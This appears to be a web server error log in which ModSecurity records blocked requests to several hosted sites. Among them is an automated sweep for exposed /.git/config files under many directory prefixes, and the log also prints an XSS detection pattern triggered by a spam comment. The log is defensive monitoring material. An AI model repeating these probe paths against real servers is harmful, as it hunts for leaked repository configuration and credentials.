[Fri Jul 17 08:36:07.018035 2026] [security2:error] [pid 1996894:tid 1996894] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcHo4Wmn5zySdNNkAlxQAAABM"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:36:09.945640 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:46152] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:12.389781 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:36:12.633210 2026] [ssl:error] [pid 2014286:tid 2014286] (70014)End of file found: [client 66.85.158.91:41948] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:14.006856 2026] [security2:error] [pid 2013809:tid 2013809] [client 89.124.113.145:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "2s-travels.com"] [uri "/wp-comments-post.php"] [unique_id "almcJkgVnBK6wAv37w6pwAAAABQ"], referer: https://2s-travels.com/ella-places-to-visit/
[Fri Jul 17 08:36:14.009238 2026] [security2:error] [pid 2013809:tid 2013809] [client 89.124.113.145:0] ModSecurity: Warning. Pattern match "\\\\xbc[^\\\\xbe>]*[\\\\xbe>]|<[^\\\\xbe]*\\\\xbe" at ARGS:comment. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "547"] [id "941310"] [msg "US-ASCII Malformed Encoding XSS Filter - Attack Detected"] [data "Matched Data: \\xbc \\xd0\\xbd\\xd0\\xb5\\xd0\\xb2\\xd0\\xbe found within ARGS:comment: \\xd0\\xad\\xd1\\x84\\xd1\\x84\\xd0\\xb5\\xd0\\xba\\xd1\\x82\\xd0\\xb8\\xd0\\xb2\\xd0\\xbd\\xd0\\xbe\\xd0\\xb5 \\xd1\\x83\\xd0\\xbf\\xd1\\x80\\xd0\\xb0\\xd0\\xb2\\xd0\\xbb\\xd0\\xb5\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5 \\xd0\\xb1\\xd0\\xb8\\xd0\\xb7\\xd0\\xbd\\xd0\\xb5\\xd1\\x81\\xd0\\xbe\\xd0\\xbc \\xd0\\xbd\\xd0\\xb5\\xd0\\xb2\\xd0\\xbe\\xd0\\xb7\\xd0\\xbc\\xd0\\xbe\\xd0\\xb6\\xd0\\xbd\\xd0\\xbe ohne \\xd0\\xba\\xd0\\xb0\\xd1\\x87\\xd0\\xb5\\xd1\\x81\\xd1\\x82\\xd0\\xb2\\xd0\\xb5\\xd0\\xbd\\xd0\\xbd\\xd0\\xbe\\xd0\\xb5 [url=https:/..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-tomcat"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/wp-comments-post.php"] [unique_id "almcJkgVnBK6wAv37w6pwAAAABQ"], referer: https://2s-travels.com/ella-places-to-visit/
[Fri Jul 17 08:36:14.010864 2026] [security2:error] [pid 2013809:tid 2013809] [client 89.124.113.145:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-comments-post.php"] [unique_id "almcJkgVnBK6wAv37w6pwAAAABQ"], referer: https://2s-travels.com/ella-places-to-visit/
[Fri Jul 17 08:36:14.296994 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:36:14.600867 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:41996] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:15.657307 2026] [security2:error] [pid 2013809:tid 2013809] [client 89.124.113.145:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/wp-comments-post.php"] [unique_id "almcJkgVnBK6wAv37w6pwAAAABQ"], referer: https://2s-travels.com/ella-places-to-visit/
[Fri Jul 17 08:36:16.507502 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:42086] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:17.647964 2026] [mime:warn] [pid 2014279:tid 2014279] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:36:17.745281 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:36:19.298538 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:36:21.381315 2026] [ssl:error] [pid 2014321:tid 2014321] (70014)End of file found: [client 66.85.158.91:39370] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:22.014471 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:36:24.711687 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almcMBAi3pC6yjXGNq1-PAAAAAU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1176&page_105=1055
[Fri Jul 17 08:36:24.711719 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almcMBAi3pC6yjXGNq1-PAAAAAU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1176&page_105=1055
[Fri Jul 17 08:36:31.609881 2026] [security2:error] [pid 2008451:tid 2008451] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /modules/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/modules/.git/config"] [unique_id "almcNwPhWp7RzB65h36f5gAAAA0"]
[Fri Jul 17 08:36:31.610357 2026] [security2:error] [pid 2008451:tid 2008451] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/modules/.git/config"] [unique_id "almcNwPhWp7RzB65h36f5gAAAA0"]
[Fri Jul 17 08:36:31.784688 2026] [security2:error] [pid 2013809:tid 2013809] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/src/.git/config"] [unique_id "almcN0gVnBK6wAv37w6pyQAAABQ"]
[Fri Jul 17 08:36:31.784977 2026] [security2:error] [pid 2013809:tid 2013809] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/src/.git/config"] [unique_id "almcN0gVnBK6wAv37w6pyQAAABQ"]
[Fri Jul 17 08:36:31.822408 2026] [security2:error] [pid 1993668:tid 1993668] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/public/.git/config"] [unique_id "almcNxAi3pC6yjXGNq1-PwAAAAU"]
[Fri Jul 17 08:36:31.822651 2026] [security2:error] [pid 1993668:tid 1993668] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/public/.git/config"] [unique_id "almcNxAi3pC6yjXGNq1-PwAAAAU"]
[Fri Jul 17 08:36:31.852230 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:58354] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:31.856755 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:58366] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:31.893004 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/app/.git/config"] [unique_id "almcN1xP5-SsqbGuGB2mJwAAAAA"]
[Fri Jul 17 08:36:31.893278 2026] [security2:error] [pid 1993584:tid 1993584] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/app/.git/config"] [unique_id "almcN1xP5-SsqbGuGB2mJwAAAAA"]
[Fri Jul 17 08:36:31.895514 2026] [security2:error] [pid 2014308:tid 2014308] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /backend/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/backend/.git/config"] [unique_id "almcNwdFk8dCrY-oJNkeGAAAACA"]
[Fri Jul 17 08:36:31.895804 2026] [security2:error] [pid 2014308:tid 2014308] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/backend/.git/config"] [unique_id "almcNwdFk8dCrY-oJNkeGAAAACA"]
[Fri Jul 17 08:36:31.898269 2026] [security2:error] [pid 2015125:tid 2015125] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/admin/.git/config"] [unique_id "almcNxJ0z2bEtnOrIXU-AgAAAAk"]
[Fri Jul 17 08:36:31.898569 2026] [security2:error] [pid 2015125:tid 2015125] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/admin/.git/config"] [unique_id "almcNxJ0z2bEtnOrIXU-AgAAAAk"]
[Fri Jul 17 08:36:31.902578 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/api/.git/config"] [unique_id "almcN90t9Kb_MdNxrg6_wgAAAAM"]
[Fri Jul 17 08:36:31.902899 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/api/.git/config"] [unique_id "almcN90t9Kb_MdNxrg6_wgAAAAM"]
[Fri Jul 17 08:36:31.914026 2026] [security2:error] [pid 1993715:tid 1993715] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /administrator/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/administrator/.git/config"] [unique_id "almcN3RlmrtCoY_COpcjmAAAAAg"]
[Fri Jul 17 08:36:31.914377 2026] [security2:error] [pid 1993715:tid 1993715] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/administrator/.git/config"] [unique_id "almcN3RlmrtCoY_COpcjmAAAAAg"]
[Fri Jul 17 08:36:31.916111 2026] [security2:error] [pid 2014279:tid 2014279] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almcN0z_ZDvgWqiMlMbMYgAAAB0"]
[Fri Jul 17 08:36:31.916425 2026] [security2:error] [pid 2014279:tid 2014279] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almcN0z_ZDvgWqiMlMbMYgAAAB0"]
[Fri Jul 17 08:36:31.945372 2026] [security2:error] [pid 1993573:tid 1993573] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/public/.git/config"] [unique_id "almcN3t8zp89pALg8Q5l-AAAAA4"]
[Fri Jul 17 08:36:31.945612 2026] [security2:error] [pid 1993573:tid 1993573] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/public/.git/config"] [unique_id "almcN3t8zp89pALg8Q5l-AAAAA4"]
[Fri Jul 17 08:36:31.945862 2026] [security2:error] [pid 2014256:tid 2014256] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /frontend/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/frontend/.git/config"] [unique_id "almcN4Zvbo7N5o5zeYC7-QAAABw"]
[Fri Jul 17 08:36:31.946218 2026] [security2:error] [pid 2014256:tid 2014256] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/frontend/.git/config"] [unique_id "almcN4Zvbo7N5o5zeYC7-QAAABw"]
[Fri Jul 17 08:36:31.972126 2026] [security2:error] [pid 1993604:tid 1993604] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/src/.git/config"] [unique_id "almcN4ha5y5fYnQ1qRrwsgAAAAE"]
[Fri Jul 17 08:36:31.972361 2026] [security2:error] [pid 1993604:tid 1993604] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/src/.git/config"] [unique_id "almcN4ha5y5fYnQ1qRrwsgAAAAE"]
[Fri Jul 17 08:36:32.064898 2026] [security2:error] [pid 2014321:tid 2014321] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /blog/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/blog/.git/config"] [unique_id "almcONbqW6u97-NXXfOsnAAAACE"]
[Fri Jul 17 08:36:32.065301 2026] [security2:error] [pid 2014321:tid 2014321] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/blog/.git/config"] [unique_id "almcONbqW6u97-NXXfOsnAAAACE"]
[Fri Jul 17 08:36:32.075447 2026] [security2:error] [pid 2014286:tid 2014286] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /www/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/www/.git/config"] [unique_id "almcOB15lhZh2QtC5qEXCAAAAB8"]
[Fri Jul 17 08:36:32.076146 2026] [security2:error] [pid 2014286:tid 2014286] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/www/.git/config"] [unique_id "almcOB15lhZh2QtC5qEXCAAAAB8"]
